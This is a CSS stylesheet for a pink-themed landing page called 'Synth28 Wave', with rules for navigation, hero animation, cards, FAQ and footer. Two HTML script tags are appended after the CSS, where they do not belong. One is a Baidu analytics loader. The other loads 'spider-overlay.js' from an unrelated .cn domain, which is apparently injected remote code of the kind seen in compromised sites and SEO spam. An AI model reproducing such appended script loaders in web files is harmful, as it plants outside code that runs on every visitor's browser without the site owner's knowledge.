/* Synth28 Wave 鈥?Custom Styles (beyond Tailwind) */

/* ---- Base ---- */
:root {
  --pri: #db2777;
  --prid: #be185d;
  --pril: #f472b6;
  --accent: #06b6d4;
  --bg: #fdf2f8;
  --tx: #1a1a2e;
  --tx2: #64748b;
  --w: #fff;
  --dk: #0f0f23;
  --r: 10px;
}

*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}

/* ---- Nav ---- */
.nav-brand{display:flex;align-items:center;gap:.5rem;text-decoration:none;font-weight:700;font-size:1.05rem;color:var(--tx)}
.nav-links a{font-weight:600;font-size:.78rem;transition:color .2s}
.nav-links a:hover,.nav-links a.active{color:var(--pri)}
.nav-cta:hover{box-shadow:0 4px 20px rgba(219,39,119,.3)}
@media(max-width:767px){
  .nav-links{display:none;position:absolute;top:100%;left:0;right:0;background:#fff;flex-direction:column;padding:1.4rem;gap:.8rem;box-shadow:0 8px 24px rgba(0,0,0,.06)}
  .nav-links.open{display:flex}
  #mt{display:block}
}

/* ---- Hero ---- */
.hero::before{content:'';position:absolute;top:50%;left:50%;width:500px;height:500px;background:radial-gradient(circle,rgba(236,72,153,.15),transparent 70%);transform:translate(-50%,-50%);animation:synthPulse 3s ease-in-out infinite}
@keyframes synthPulse{0%,100%{opacity:.6;transform:translate(-50%,-50%) scale(1)}50%{opacity:1;transform:translate(-50%,-50%) scale(1.2)}}
@keyframes barDance{0%,100%{opacity:.7}50%{opacity:1}}

/* ---- Feature Cards ---- */
.fc{transition:all .3s ease}
.fc:hover{transform:translateY(-5px);box-shadow:0 10px 30px rgba(219,39,119,.1);border-color:var(--pri)}

/* ---- Stats ---- */
.sb-fill{transition:width 1s ease}

/* ---- Testimonials ---- */
.testi-card{transition:transform .3s}
.testi-card:hover{transform:translateY(-3px);box-shadow:0 6px 20px rgba(219,39,119,.08)}

/* ---- FAQ ---- */
.faq-item.open .faq-q i{transform:rotate(180deg)}
.faq-item.open .faq-a{max-height:200px}
.faq-q:hover{color:var(--pri)}

/* ---- Footer ---- */
footer a{transition:opacity .2s,color .2s}
footer a:hover{color:var(--pril)!important;opacity:1}

/* ---- Scroll animations ---- */
.fade-in{opacity:0;transform:translateY(16px);transition:all .5s ease}
.fade-in.visible{opacity:1;transform:translateY(0)}

/* ---- Responsive ---- */
@media(max-width:768px){
  .hero h1{font-size:1.8rem}
  section{padding:2.5rem 0}
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>